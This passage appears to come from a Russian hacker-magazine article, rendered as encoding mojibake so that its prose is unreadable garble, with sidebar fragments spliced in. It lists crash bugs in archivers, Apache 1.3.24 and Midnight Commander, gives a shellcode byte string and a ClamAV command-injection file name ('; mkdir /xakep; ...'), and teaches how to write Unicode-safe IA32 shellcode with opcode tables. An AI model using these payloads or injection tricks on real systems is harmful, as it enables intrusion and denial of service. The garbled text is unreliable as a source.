íîñòü óÿçâèìîñòè ïðèçíàåòñÿ âûñî-
êîé. Òàê ÷òî áåãîì íà ñòðàíèöó ïðîèç-
âîäèòåëÿ çà íîâûì ðåëèçîì ïðèëîæå-
íèÿ, ïîêà òåáÿ åùå íå õàêíóëè.

ÎÏÀÑÍÛÅ ÀÐÕÈÂÛ
Åñëè ðàññìàòðèâàòü òåìó ïåðåïîë-

íåíèÿ äàííûìè â ïîëíîì îáúåìå, òî
ãðåõ îáîéòè àðõèâàòîðû. Òû, íàâåðíî,
äóìàë, ÷òî òâîé WinZip è /bin/tar ðàáî-
òàþò ïðàâèëüíî? Â ìèðå íåò íè îäíîé
ïðàâèëüíîé ïðîãðàììû (âîçìîæíî, çà
èñêëþ÷åíèåì Hello World :). Ïîçâîëü
ðàññêàçàòü òåáå îá èíòåðåñíûõ ãëþ-
êàõ ïîïóëÿðíûõ çàïàêîâùèêîâ. Âñå
îíà îñíîâàíû íà îáùåì ïðèíöèïå: õà-
êåð ñîçäàåò ñïåöèàëüíûé àðõèâ, çà-
òåì àðõèâàòîð îáðàáàòûâàåò ýòîò ïà-
êåò è îòäàåò êîíöû. Òàê, íàïðèìåð,
WinZip 9.0 ìîæåò óìåðåòü ïîñëå ïðî÷-

òåíèÿ ñïåöàðõèâîâ MIME-òèïà (ñ ðàñ-
øèðåíèåì .mim, .uue, .uu, .b64, .bhx,
.hqx, è .xxe). Êàê óòâåðæäàåò ýëèòíàÿ
êîìàíäà iDEFENSE, ëþáîé æåëàþùèé
ìîæåò óáèòü WinZip áàæíûì àðõèâ÷è-
êîì, âûçâàâ ïåðåïîëíåíèå â êîìïî-
íåíòå UUDeview. ß ñ÷åë íóæíûì íå
óêàçûâàòü äåòàëè ïåðåïîëíåíèÿ, òàê
êàê ýòî ñëîæíî è íå îñîáåííî èíòå-
ðåñíî. Åñëè õî÷åøü - îçíàêîìüñÿ ñàì:
http://www.securitylab.ru/43189.html. Â ëþáîì
ñëó÷àå, óñòàíîâêà WinZip 9.0 Final èç-
áàâèò îò âñåõ íàïàñòåé.

Åùå îäíà îøèáêà, î êîòîðîé õîòå-
ëîñü áû ðàññêàçàòü, òàèòñÿ â èçâåñò-
íîì ìåíåäæåðå Midnight Commander.
Ïîñëåäíèé êðèâî îáðàáàòûâàåò tar-
àðõèâû. Íåñìîòðÿ íà òî ÷òî áàã äî-
âîëüíî ñòàðûé (ñåíòÿáðü 2003 ãîäà),
ïîñëåäíèé MC - 4.6.0 - óáèâàåòñÿ íà-
ïîâàë. Ïðîâåðåíî ìíîé ëè÷íî ;).

Â ÷åì æå ñóòü óÿçâèìîñòè? Ïî óòâå-
ðæäåíèÿì àâòîðà, ìîæíî ïîíÿòü, ÷òî
â êîäå MC íå ïðîâåðÿåòñÿ äëèíà ñèì-
âîëè÷åñêîãî ëèíêà, âûòÿíóòîãî èç àð-
õèâà. Ýòî íàâåâàåò íåêîòîðûå ìûñëè:
íàïðèìåð, åñëè çàïàêîâàòü ôàéë-ñèì-
ëèíê íà /aaaa (äëèíà áîëåå 256 ñèì-
âîëîâ), MC, íå ñêàçàâ íå ñëîâà, óïà-
äåò â êîðó ;). Áàã çàòàèëñÿ â ôàéëå
vfs/direntry.c, â êîòîðîì èñïîëüçóåòñÿ
íåèíèöèàëèçèðîâàííûé áóôåð äëÿ
ëèíêîâ. Âïðî÷åì, â êîðó MC ìîæíî è
íå âàëèòü, à íàïèñàòü ãðàìîòíûé
ýêñïëîèò. Ïîñëåäíèé äîëæåí âûïîë-
íÿòü êîä ñ ïðàâàìè MC. Õîòÿ, íà ìîé
âçãëÿä, ýòî íå ñîâñåì îïðàâäàííî: óñ-
òàíàâëèâàòü suid-áèò íà MC áóäóò ðàç-
âå ÷òî ëàìåðû èëè èçâðàùåíöû :).

×òîáû óáåäèòüñÿ â èçúÿíå, äîñòàòî÷-
íî ñòÿíóòü áàæíûé àðõèâ÷èê http://bug-
gzy.narod.ru/exp.tgz. Ïîïðîáóé ïðîñìîò-
ðåòü åãî â ìåíåäæåðå. Óâåðåí íà
100%, ÷òî äÿäÿ Ìèäíàéò óéäåò â äàóí.
Òåïåðü ðàñïàêóé àðõèâ êàêèì-íèáóäü
äðóãèì àðõèâàòîðîì (ëó÷øå âèíäî-
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×òîáû íå
ïîïàñòüñÿ
íà óäî÷êó
õàêåðó, ðå-
êîìåíäóåò-
ñÿ ëèáî íå
èñïîëüçî-
âàòü %f â
VirusEvent,
ëèáî íå
þçàòü äè-
ðåêòèâó âî-
îáùå.

Äëèííûé ñèìëèíê íå ïîä ñèëó äàæå tar'ó

Áàæíûé MIDI âñåãäà ãîòîâ ïåðåïîëíèòü áóôåð Winamp'à

Ïðîâîäíèê! Íà ñòàðò!
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Áàã â îñëèêå 5.0 ÿâëÿåòñÿ ïåðâîé
óÿçâèìîñòüþ, êîòîðàÿ áûëà íàéäåíà
ïîñëå àíàëèçà èñõîäíûõ êîäîâ MS.



âûì) è óâèäèøü, ÷òî ôàéë-ñèìëèíê
èìååò î÷åíü äëèííîå èìÿ. Èìåííî ýòî
è óáèâàåò êîíñîëüíûé ìåíåäæåð.

Íàêîíåö, ÿ íå ñìîã îáîéòè ìîé ëþáè-
ìûé àðõèâàòîð WinRar. Îí òàêæå óÿç-
âèì. Ïðè÷åì áàã î÷åíü ïðîñò: åñëè â
àðõèâå ñîäåðæèòñÿ ôàéë ñ èìåíåì
äëèíîé áîëåå 256 ñèìâîëîâ, WinRar
àâàðèéíî çàâåðøàåò ðàáîòó. Èçúÿí
ïðèñóòñòâîâàë â âåðñèÿõ çàïàêîâùè-
êà àæ äî ðåëèçà 3.10. Ïåðåïîëíåíèå
ïðîèñõîäèëî ïðè îòîáðàæåíèè â
ListView Control Window. Èíòåðåñíî,
÷òî àâòîð àðõèâàòîðà ïîïðîñèë áàãî-
èñêàòåëåé íå ïóáëèêîâàòü íèêàêèõ
ýêñïëîèòîâ è POC-êîäà, íà ÷òî ðåáÿòà
ñîãëàñèëèñü. ×åðåç íåñêîëüêî äíåé
âûøåë ïîñëåäíèé ðåëèç, â êîòîðîì
áàã, êîíå÷íî æå, áûë èñïðàâëåí.

ÍÅÏÐÎÂÅÐÅÍÍÛÅ ÊÎÍÔÈÃÈ
Äîâîëüíî çàáàâíî, íî äàæå òâîé

ëþáèìûé Apache 1.3.24 ïîïàë â ñïèñ-
êè óÿçâèìûõ ïðèëîæåíèé. Íåñìîòðÿ
íà òî ÷òî âåðñèÿ ñòàðà, httpd î÷åíü
ïîïóëÿðåí è óñòàíîâëåí íà êàæäîì
ïÿòîì ñåðâåðå ;). ×òîáû óáèòü âåá-
ñåðâàíò íà òâîåì ëþáèìîì õîñòèíãå,
äîñòàòî÷íî îáúÿâèòü ïåðåìåííóþ
DATA_LOCALE è çàäàòü åå çíà÷åíèå â
ðàçìåðå áîëåå 12288 áàéò. Îáúÿâëå-
íèå âîçìîæíî â ëþáîì êîíôèãå, â
òîì ÷èñëå è â .htaccess-ôàéëå. Íàêîë-
áàñèâ ñìåðòåëüíûé êîíôèã, ñìåëî
çàïðàøèâàé âåá-ñòðàíèöó è æäè êîí-
÷èíû ñàìîãî áåçîïàñíîãî â ìèðå ñåð-
âåðà. Äà, ÿ çàáûë îïèñàòü ñòðîêó â
êîíôå. Îíà äîëæíà âûãëÿäåòü ñëåäó-
þùèì îáðàçîì: SetEnv DATE_LOCALE
"X", ãäå X - ñòðîêà áîëåå 12288 ñèìâî-
ëîâ. Åñëè íå õî÷åøü ìóòèòü êîíôèã
ñàìîñòîÿòåëüíî, äîâåðüñÿ ýêñïëîèòó,
êîòîðûé ñäåëàåò ÷åðíîå äåëî çà òåáÿ.
Âîò øåëë-êîä, ïðåäñòàâëÿþùèé áàæ-
íóþ ñòðîêó:

char killcode[] =
"\x31\xc0\xb0\x0f\x50\x31\xc0\x50"
"\xb0\x25\x50\xcd\x80";

Îáÿçàòåëüíî êëèêíè ïî ññûëêå
http://www.securitylab.ru/31671.html è îçíà-
êîìüñÿ ñ äîêóìåíòàöèåé ïî èíòåðåñ-
íîé óÿçâèìîñòè.

Îñîáî çàíÿòíûé áàã íàøåëñÿ â àí-
òèâèðóñå clamd ïîä Linux. Â êîíôèãå

/etc/clamav.conf èñïîëüçóåòñÿ äè-
ðåêòèâà VirusEvent, çíà÷åíèå êîòî-
ðîé âûïîëíÿåòñÿ â òîì ñëó÷àå, êîãäà
áóäåò îáíàðóæåí âèðóñ. Òàê âîò: ïî
äåôîëòó â VirusEvent çàãíàíà ñòðîêà
/bin/echo "Virus: %f: %v" |
/usr/bin/mail -s "VIRUS ALERT"
admin@network.net. Ïåðåìåííàÿ %f
îòîáðàçèòñÿ â âèäå ôàéëà, â êîòî-
ðîì íàéäåí âèðóñ. Íà ïåðâûé
âçãëÿä, íè÷åãî ñòðàøíîãî. Íî òîëüêî
íà ïåðâûé ;). Äîïóñòèì, õàêåð çàïè-
ñàë ñòðî÷êó
"X5O!P%@AP[4\PZX54(P^)
7CC)7}$EICAR-STANDARD-
ANTIVIRUS-TEST-FILE!$H+H*" â ôàéë
ñ èìåíåì "; mkdir /xakep; echo "you
are lame"|admin@network.net". Çàòåì
çëîóìûøëåííèê äîæèäàåòñÿ î÷åðåä-
íîãî ñêàíèðîâàíèÿ (à ïî äåôîëòó
îíî ïðîõîäèò ðàç â ñóòêè). Ñòðîêà
âèäà ANTIVIRUS-TEST-FILE îïîçíàåò-
ñÿ äåìîíîì êàê âèðóñ. Ïîñëå ýòîãî
âûïîëíèòñÿ äèðåêòèâà VirusEvent.
Ïðè ýòîì clamscan ïîïûòàåòñÿ âû-
âåñòè â êîíñîëü èìÿ çàðàæåííîãî
ôàéëà. Íî, ê ñîæàëåíèþ, ôàéë íå
ïðîâåðÿåòñÿ íà íàëè÷èå ñïåöñèìâî-
ëîâ, ïîýòîìó âûâîä áóäåò îïîçíàí
êàê îáû÷íàÿ êîìàíäà. Â èòîãå íà ìû-
ëî àäìèíó óëåòèò öåëûõ äâà ïèñüìà,
à â êîðíå ñèñòåìû ïîÿâèòñÿ äèðåêòî-
ðèÿ xakep. Åñëè ïîèãðàòüñÿ ñ èìåíåì
ôàéëà, ìîæíî âîîáùå ïåðåïîëíèòü
áóôåð â clamd è àâàðèéíî çàâåð-
øèòü ðàáîòó ïðèëîæåíèÿ. Îäíàêî
ïîäîáíûå ïðèìåðû íå èçâåñòíû.

ÁÓÄÜ ÁÄÈÒÅËÅÍ!
Òåïåðü òåáå, íàâåðíî, ïîíÿòíî,

÷òî âèäåîôàéë ìîæåò îêàçàòüñÿ
ïîäñòàâîé, ìèäÿõà ñïîñîáíà ñîðâàòü
êðûøó ó Winamp'à, à àðõèâ ñ ñåêðåò-
íîé èíôîðìàöèåé óáèâàåò WinRar.
Òû äîëæåí ïðèó÷èòü ñåáÿ íå òîëüêî
ê õàêåðñêîé àêòèâíîñòè, íî è ê íåêî-
òîðîé îñòîðîæíîñòè. Òû ñïîñîáåí íà-
êîëîòü ñâîåãî ïðèÿòåëÿ è ïåðåïîë-
íèòü åãî áóôåð (òî åñòü áóôåð åãî
ïðèëîæåíèé ;)), íî ïîìíè, ÷òî è ñàì
ìîæåøü ñòàòü æåðòâîé ñîñåäà-ëàìå-
ðà. Äàæå åñëè òû óâåðåí, ÷òî îòêðû-
âàåøü äîñòîâåðíûé ôàéë, àáñîëþò-
íàÿ áåçîïàñíîñòü íå ãàðàíòèðîâàíà.
Îáÿçàòåëüíî ïîñåùàé ñàéòû ïî áå-
çîïàñíîñòè (xakep.ru, securitylab.ru, securi-
ty.nnov.ru), à òàêæå ëèñòàé ñòðàíèöû
òâîåãî ëþáèìîãî æóðíàëà, ÷òîáû îá-
ðåñòè óâåðåííîñòü â áåçîïàñíîñòè
ñâîåãî ñîôòà. EÍåêðîëîã äëÿ Apache 1.3.24

Âèðóñ çàêàçûâàëè?
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Í åêîåãî õàêåðà èíòåðåñîâàë îäèí ñåðâåð, è òóò ïðîøåë ñëóõ, ÷òî åñòü ïåðåïîëíåíèå â îäíîì èç äåìîíîâ. Îí íàïèñàë
ïðîãðàììó, ïîñûëàâøóþ âìåñòî ïàðîëÿ ñòðîêó èç 300 áóêâ «À». Óÿçâèìîñòü èìåëà ìåñòî, íî àäðåñ âîçâðàòà áûë

íå 0x41414141, à 0x00410041. Õàêåð è íå ïðåäïîëàãàë, ÷òî ñòîëêíåòñÿ ñ Unicode-ïåðåïîëíåíèåì�
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Ýðà êîìïüþòåðîâ
íà÷àëàñü çàäîëãî äî
ïîÿâëåíèÿ èíòåðíåòà.

Íî óæå òîãäà áûëî ìíîãî ëþäåé, êîòî-
ðûå èìåëè îòíîøåíèå ê èíôîðìàöè-
îííûì òåõíîëîãèÿì. Îäíàêî, òàê êàê
ÎÑ èñïîëüçîâàëè òîëüêî 8-áèòíûå
ASCII ñèìâîëû, òî äëÿ ëîêàëèçàöèè
ñèñòåìû ïîä íóæíûé ÿçûê ïðèøëîñü
ââîäèòü ïîíÿòèå êîäèðîâêè ñèìâî-
ëîâ. Âñêîðå êàæäàÿ ñòðàíà èìåëà
ñâîþ êîäèðîâêó, à íåêîòîðûå, íàïðè-
ìåð Ðîññèÿ, äàæå íå îäíó, à íåñêîëü-
êî :). Íî î÷åíü áûñòðî (â ñâÿçè ñ ãëî-
áàëüíûì ðîñòîì èíòåðíåòà) êîëè÷åñò-
âî èñïîëüçóåìûõ êîäèðîâîê ñèëüíî
óâåëè÷èëîñü è ëþäè ÷àñòî ïðîñòî íå
ìîãëè ïîëó÷èòü íóæíóþ èíôîðìà-
öèþ. Íàçðåâàëà íåîáõîäèìîñòü ñîç-
äàíèÿ åäèíîé ñèñòåìû, êîòîðàÿ áû
ñèñòåìàòèçèðîâàëà ýòîò ïðîöåññ. È
òóò ïîÿâèëñÿ Unicode. Ôîðìàò Unicode
î÷åíü ïðîñòîé. Îí îòâîäèò íà îäíó êî-
äèðîâêó ðîâíî 128 ñèìâîëîâ, ñàì ñèì-
âîë ïðåäñòàâëÿåòñÿ äâóìÿ áàéòàìè.
Ïåðâûé áàéò � ýòî íîìåð êîäèðîâêè, à
âòîðîé � íîìåð ñèìâîëà. Òàê, àíãëèéñ-
êàÿ êîäèðîâêà èìååò èíäåêñ 0, à ñèì-
âîë «À» � 0x41 â ýòîé êîäèðîâêå, òî
åñòü â Unicode áóêâà «À» áóäåò
0x0041. Èìåííî ïîýòîìó õàêåð ïîëó-
÷èë àäðåñ âîçâðàòà 0x00410041 � ñèñ-
òåìà ïåðåâåëà åãî ââîä â Unicode.

ÏÐÎÁËÅÌÛ ÝÊÑÏËÓÀÒÀÖÈÈ
Î÷åâèäíî, ÷òî ýêñïëóàòèðîâàòü

óÿçâèìîñòè òàêîãî ðîäà â ÷èñòîì âèäå
íåëüçÿ. Âåäü åñëè ïåðåäàòü â shell-êî-
äå êîìàíäó 83 C4 2D add esp, 2Dh, òî
îí ïîñëå êîíâåðòèðîâàíèÿ ïðåâðàòèò-
ñÿ â 00 83 00 C4 00 2D add byte ptr
[ebx+2D00C400h], al. À ýòî íå ñîâñåì
òî, ÷åãî ìû îæèäàåì. Ïîýòîìó òàêèå
óÿçâèìîñòè òðåáóþò èíîãî ïîäõîäà �
òàêîãî, êîòîðûé ïîçâîëèë áû äîáèòü-
ñÿ èñïîëíåíèÿ shell-êîäà, à íå áåñ-
ñìûñëåííûõ êîìàíä. Êàê áûòü? Îäèí
èç âàðèàíòîâ ðåøåíèÿ äàííîé ïðîá-
ëåìû î÷åíü ïðîñò. Äåëî â òîì, ÷òî åñ-
ëè ìû êàêèì-òî îáðàçîì ìîæåì óêà-
çàòü ïðèëîæåíèþ, ÷òî ïåðåäàâàåìûå
äàííûå èìåþò ôîðìàò Unicode, òî îíî

óæå íå áóäåò ïûòàòüñÿ ïîâòîðíî èõ
êîíâåðòèðîâàòü. Íî ýòîò ìåòîä íå
âñåãäà ïîäõîäèò â ñèëó îñîáåííîñòåé
ýêñïëóàòèðóåìûõ ïðîãðàìì. Îí ìîæåò
ïîäîéòè ê ïðîãðàììàì, êîòîðûå îáðà-
áàòûâàþò áîëüøèå òåêñòîâûå èíôîð-
ìàöèîííûå áëîêè, íàïðèìåð ê ðåäàê-
òîðàì, áðàóçåðàì è ò.ä. Åñòåñòâåííî,
ìîæåò ñëó÷èòüñÿ è òàê, ÷òî ëþáîå äðó-
ãîå ïðèëîæåíèå àäåêâàòíî îòðåàãèðó-
åò íà ïîëó÷åííûå äàííûå, õîòÿ òàêèå
ñëó÷àè äîâîëüíî ðåäêè.

UNICODE SHELL-ÊÎÄ
Ïîñêîëüêó ïðîãðàììà ïðåîáðàçî-

âûâàåò ïîëó÷åííûå äàííûå â
Unicode, òî íóæíî íàïèñàòü òàêîé
shell-êîä, êîòîðûé áóäåò ðàáîòàòü
ïîñëå îáðàáîòêè. Åñëè òû ñ÷èòàåøü,
÷òî ýòî íåâîçìîæíî, òî ãëóáîêî îøè-
áàåøüñÿ! Êîíå÷íî, ïðèäåòñÿ îòêà-
çàòüñÿ îò ìíîãèõ èíñòðóêöèé, íåêîòî-
ðûõ ðåãèñòðîâ, íî shell-êîä ìîæåò ñó-
ùåñòâîâàòü! Íàäî âñåãî ëèøü ïîäîé-
òè ê ïðîöåññó òâîð÷åñêè. Ïîìíèøü
ïðîøëûé ïðèìåð? Åãî ìîæíî íàïè-
ñàòü ñëåäóþùèì îáðàçîì:

00 À5 add ch,dh
54 push esp 
00 45 00 add byte ptr [ebp],al 
4C dec esp 
00 45 00 add byte ptr [ebp],al 
58 pop eax 
05 00 44 00 01 add eax,1004400h 
00 45 00 add byte ptr [ebp],al 
05 00 01 00 FF add eax,0FF000100h 
00 45 00 add byte ptr [ebp],al 
50 push eax 
00 45 00 add byte ptr [ebp],al 
44 inc esp 
00 45 00 add byte ptr [ebp],al 
5C pop esp

Ðàçíèöà â îáúåìå îùóòèìà, íî çàòî
êàêîé ðåçóëüòàò! Âñå èíñòðóêöèè, ñîã-
ëàñíî ñòàíäàðòó, ôîðìèðóþò ïîñëåäî-
âàòåëüíîñòü â ôîðìàòå 0õ00ÕÕ, ãäå
ÕÕ � ýòî êàêîé-ëèáî îòëè÷íûé îò íóëÿ
áàéò. Äóìàþ, òåïåðü ñòàëî î÷åâèä-
íûì, ÷òî óÿçâèìîñòè òàêîãî òèïà ìî-
ãóò óñïåøíî ýêñïëóàòèðîâàòüñÿ. Íî
âîçíèêàåò äðóãîé âîïðîñ: êàê óçíàòü,
ïîäîéäåò ëè òåáå òà èëè èíàÿ èíñòðóê-

öèÿ? Ìîæíî, êîíå÷íî, ïåðåáèðàòü îï-
êîäû è â êîíöå êîíöîâ íàéòè âñå ïîä-
õîäÿùèå. Íî ëó÷øå ïîñòóïèòü èíà÷å.
ß ïðåäïîëàãàþ, ÷òî òåáÿ â îñíîâíîì
èíòåðåñóåò ïëàòôîðìà IA32 (Intel
Architecture 32). Òîãäà ñìåëî ãðóçèøü
ñ intel.com äîêè î êîìàíäàõ ïðîöåññî-
ðà è ñìîòðèøü, êàêèå èç èíñòðóêöèé
äîñòóïíû äëÿ èñïîëüçîâàíèÿ.

ÈÑÏÎËÜÇÎÂÀÍÈÅ ÐÅÃÈÑÒÐÎÂ
Â ïåðâóþ î÷åðåäü îïðåäåëèñü ñ

ðåãèñòðàìè. Òóò âñå çàâèñèò îò îïåðà-
öèé, â êîòîðûõ îíè ïðèíèìàþò ó÷àñ-
òèå, à, òî÷íåå, îò èõ ðàçìåðà. Íàïðè-
ìåð, push çàíèìàåò 5 áèò. Åñëè èñ-
ïîëüçîâàòü åãî ñ 32-áèòíûìè ðåãèñò-
ðàìè, òî ýòà îïåðàöèÿ áóäåò çàíèìàòü
âñåãî ëèøü îäèí áàéò.

Òàêæå òåáå äîñòóïíû ðåãèñòðû r8
(ah, al, bh, bl�). Âîïðîñ î ïðèãîäíîñòè
ðåøàåòñÿ â çàâèñèìîñòè îò êîìàíä è
ðåãèñòðîâ. Ïîýòîìó äîñòàòî÷íî ñêà-
çàòü, ÷òî â îáùåì ñëó÷àå òû ìîæåøü
èñïîëüçîâàòü âñå r32 è r8 ðåãèñòðû.
Åñòåñòâåííî, íåêîòîðûå îïåðàöèè íå
ìîãóò ïîäîéòè èç-çà ñâîåãî ðàçìåðà
èëè æå îïåðàíäà/îïåðàíäîâ. Íî óæå
ñåé÷àñ çàâåðþ òåáÿ, ÷òî r16 (ax, bx,
cx�) èñïîëüçîâàòü íå ïîëó÷èòñÿ, îä-
íàêî, èçìåíÿÿ ðåãèñòðû r8 è r32, òû
âñå-òàêè íåÿâíî êîíòðîëèðóåøü r16.
Õîòÿ, ÿ äóìàþ, ýòîãî çàïàñà òåáå áó-
äåò âïîëíå äîñòàòî÷íî.

ÐÀÁÎÒÀ Ñ ÏÀÌßÒÜÞ
Ñ ðåãèñòðàìè îïðåäåëèëèñü, òå-

ïåðü ïîãîâîðèì îá èõ èñïîëüçîâàíèè.
Êîìàíäà mov çíà÷èòåëüíî óðåçàíà
èç-çà íàëîæåíèÿ íà íåå ðÿäà îãðàíè-
÷åíèé. Ïåðåñûëêà äàííûõ èç ðåãèñòðà
â ðåãèñòð â ÷èòàåìîì âèäå íåâîçìîæ-
íà. Òî åñòü mov eax,ebx òû íå âîñ-
ïîëüçóåøüñÿ (ïðàâäà, ýòî ìîæíî
îáîéòè, íàïðèìåð, èñïîëüçóÿ êîìàíäó
xchg èëè ñòåê). Çàòî ñòàëè äîñòóïíû
êîå-êàêèå äðóãèå åå âîçìîæíîñòè:

89 00 mov dword ptr [eax],eax 
8B 00 mov eax,dword ptr [eax] 
88 00 mov byte ptr [eax],al 
8A 00 mov al,byte ptr [eax] 
8C 00 mov word ptr [eax],es 
8E 00 mov es,word ptr [eax]
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Ëåãêî ïðî-
âåðèòü, ÷òî
äëÿ óêàçà-
íèÿ ðåãèñò-
ðîâ eax,
ebx,�, edi â
îïåðàöèè
îòâîäèòñÿ 3
áèòà. Ñëå-
äîâàòåëüíî,
èõ ìîæíî
èñïîëüçî-
âàòü ñîâìå-
ñòíî ñ îäíî-
áàéòíûìè
îïåðàöèÿìè
(push, pop,
xchg è ò.ä.).

Ïðîâåðèòü
ïðèëîæåíèå
î÷åíü ëåãêî,
â ASCII
ôîðìàòå
ñèìâîë
0õ00 îáîç-
íà÷àåò êî-
íåö ñòðîêè,
à åñëè ïðîã-
ðàììà ïîñëå
ïîëó÷åíèÿ
0x0041 îá-
ðàáîòàåò
åãî êàê
«À», çíà-
÷èò, ýòîò
ìåòîä ïðè-
ìåíèì.
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Òàêæå ìîæåøü èñïîëüçîâàòü åå äëÿ
ðàáîòû ñ ïàìÿòüþ, óêàçàâ àäðåñ â êà-
÷åñòâå ïðèåìíèêà èëè èñòî÷íèêà. Íî
ïîìíè: òàê êàê shell-êîä íàõîäèòñÿ â
Unicode, òî èñïîëüçóåìûå àäðåñà
äîëæíû áûòü îôîðìëåíû ñîîòâåò-
ñòâåííî, òî åñòü äëÿ ðàáîòû ñ ïà-
ìÿòüþ òåáå íåîáõîäèìî èñïîëüçîâàòü
àäðåñà âèäà 0õÕÕ00ÕÕ00.

A0 00 ÕÕ 00 ÕÕ mov al,byte ptr 
ds:[ÕÕ00ÕÕ00h]

A1 00 ÕÕ 00 ÕÕ mov eax,dword ptr 
ds:[ÕÕ00ÕÕ00h]

A2 00 ÕÕ 00 ÕÕ mov byte ptr 
ds:[ÕÕ00ÕÕ00h],al

A3 00 ÕÕ 00 ÕÕ mov dword ptr 
ds:[ÕÕ00ÕÕ00h],eax

Êðîìå âñåãî ýòîãî, åñòü åùå êîìàíäà
êîïèðîâàíèÿ ñòðîê: A4 movs byte ptr
[edi],byte ptr [esi]. Âîò è âåñü äæåíòëüìå-
íñêèé íàáîð äëÿ êîìàíäû mov. Êàê âè-
äèøü, ýòà êîìàíäà ïîäõîäèò äëÿ ðàáîòû
ñ ïàìÿòüþ, à çíà÷èò, ìîæåò áûòü èñ-
ïîëüçîâàíà äëÿ èçìåíåíèÿ îïðåäåëåí-
íûõ îáëàñòåé ïðîãðàììû èëè ñòåêà. Òàê-
æå ïîìíè î âîçìîæíîñòÿõ äîáàâëåíèÿ
r8 ðåãèñòðîâ ê ëþáîé îáëàñòè ïàìÿòè:

00 00 add byte ptr [eax],al 
...
00 03 add byte ptr [ebx],al 
...
00 20 add byte ptr [eax],ah 
...
00 23 add byte ptr [ebx],ah
...

è èíêðåìåíòèðîâàíèÿ äàííûõ â ïà-
ìÿòè:

FF 00 inc dword ptr [eax] 
FE 00 inc byte ptr [eax]

Ýòèõ âàðèàíòîâ äîñòàòî÷íî äëÿ
ìîäèôèêàöèè ïàìÿòè. Íî ìîæíî
ïðèáåãíóòü åùå ê îäíîé õèòðîñòè.
Íàäî èçìåíèòü ðåãèñòð esp, òàê, ÷òî-
áû îí óêàçûâàë íà òó îáëàñòü, êîòî-
ðóþ íóæíî èçìåíèòü, + îáúåì èçìå-
íÿåìûõ äàííûõ, à äàëüøå çàïèñû-
âàòü â ñòåê âñå íåîáõîäèìûå äàí-
íûå â îáðàòíîì ïîðÿäêå. 

ÌÀÒÅÌÀÒÈ×ÅÑÊÈÅ ÎÏÅÐÀÖÈÈ
ÍÀÄ ×ÈÑËÀÌÈ

Èñïîëüçóÿ îïåðàöèþ mov, ìîæíî
çàíîñèòü â r32 ðåãèñòðû íóæíûå äàí-
íûå. Íî îïÿòü íå âñå òàê ïðîñòî. Çàíî-
ñèòü ìîæíî èñêëþ÷èòåëüíî ÷èñëà â
ôîðìàòå 0õÕÕ00ÕÕ00: B8 00 ÕÕ 00
ÕÕ mov eax,0ÕÕ00ÕÕ00h. Òàêèå æå
îãðàíè÷åíèÿ ïîñòàâëåíû è íà îïåðà-
öèþ add äëÿ r32 ðåãèñòðîâ: 05 00 ÕÕ
00 ÕÕ add eax,0ÕÕ00ÕÕ00h.

Òàêæå ó òåáÿ åñòü âñå âîçìîæíîñòè,
÷òîáû âîñïîëüçîâàòüñÿ ñóììèðîâàíè-
åì äàííûõ â r8 ðåãèñòðàõ:

...
00 C3 add bl,al 
...
00 C7 add bh,al
...
00 E3 add bl,ah
...
00 E7 add bh,ah 
...

Äëÿ çàíóëåíèÿ ðåãèñòðîâ r8 òû ìî-
æåøü èñïîëüçîâàòü:

B0 00 mov al,0 
B1 00 mov cl,0
...
B4 00 mov ah,0 
B5 00 mov ch,0 
...

Ìîæíî òàêæå çàêèíóòü â ñòåê íóëü è
çàáðàòü â êàêîé-ëèáî ðåãèñòð. Åñëè
òåáå ïðèäåòñÿ èñïîëüçîâàòü îïåðà-
öèþ XOR, òî èìåé â âèäó, ÷òî îíà ïîä-

õîäèò òîëüêî äëÿ ìîäèôèêàöèè ðåãè-
ñòðà eax, ïðè÷åì âòîðîé îïåðàíä äîë-
æåí èìåòü âèä 0õÕÕ00ÕÕ00 (äàëåå
ïðîñòî UnicodeDW).

Åñëè òåáå ïîêàçàëîñü, ÷òî ýòè ìåòî-
äû íè÷åãî êîíêðåòíîãî íå äàþò, ñïå-
øó òåáÿ ðàçóâåðèòü. Äà, îíè óðåçàíû,
íî âìåñòå îòêðûâàþò âîçìîæíîñòü
ìàíèïóëÿöèè ñ ëþáûìè ÷èñëàìè. Âà-
ðèàíòîâ ìíîæåñòâî, è ê íèì ìû åùå
âåðíåìñÿ, à ïîêà ïðîäîëæèì èçó÷å-
íèå äîñòóïíûõ íàì êîìàíä.

ÐÀÁÎÒÀ ÑÎ ÑÒÅÊÎÌ
Â ñòåê òû ìîæåøü çàïèñûâàòü âñå

r32 ðåãèñòðû:

50 push eax 
53 push ebx

Ìîæåøü çàïèñûâàòü ÷èñëà â ôîð-
ìàòå UnicodeDW è íóëü:

68 00 FF 00 FF push 0FF00FF00h 
6A 00 push 0 

Ñ ïîìîùüþ êîìàíäû pop èìååøü
âîçìîæíîñòü çàáèðàòü äàííûå ñî ñòå-
êà â ëþáîé r32 ðåãèñòð: 58 pop eax,
ñîõðàíÿòü â ñòåêå ñîñòîÿíèÿ âñåõ ðå-
ãèñòðîâ èëè æå çàãðóæàòü èõ îòòóäà: 

61 popad 
60 pushad

Ýòè îïåðàöèè î÷åíü óäîáíû, åñëè íå-
îáõîäèìî îäíîâðåìåííî èçìåíèòü
çíà÷åíèÿ ìíîãèõ ðåãèñòðîâ. Èõ ïðèìå-
íåíèå ÿ ïðîäåìîíñòðèðóþ â shell-êîäå.

ÈÑÏÎËÜÇÎÂÀÍÈÅ ÍÀØÈÕ
ÂÎÇÌÎÆÍÎÑÒÅÉ

Òåïåðü ïåðåéäåì íåïîñðåäñòâåí-
íî ê íàïèñàíèþ shell-êîäà. 

Äëÿ íà÷àëà ïèøåì íåáîëüøóþ
ïðîãðàììó, êîòîðàÿ áóäåò ñðåäîé îáè-
òàíèÿ íàøåãî shell-êîäà.

int _tmain(int argc, _TCHAR* argv[]) {
__asm {

call set_stack_pointer_to_eip
set_stack_pointer_to_eip:

pop esp
/* ESP now point to the start address of
shellcode: */
// TODO: shellcode here :) }

return 0; }
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Ïîìíè, ÷òî,
êîãäà èçìå-
íÿþòñÿ
ìëàäøèå
ðàçðÿäû r8,
ñòàðøèå îñ-
òàþòñÿ íå-
èçìåííûìè,
òî åñòü åñ-
ëè òû äîáà-
âèøü ê
0õ00FF
îäèí áàéò
0õ01, òî ðå-
çóëüòàòîì
áóäåò
0õ0000, à
íå 0õ0100.
Îñòîðîæíî
îòíîñèñü ê
òàêèì îïå-
ðàöèÿì.

Äëÿ òîãî ÷òîáû ýêñïëîèò ðàáîòàë â ôîðìàòå Unicode, êàæäûé
âòîðîé åãî áàéò äîëæåí áûòü íóëåâûì. Áîëåå òîãî, èíîãäà äëÿ
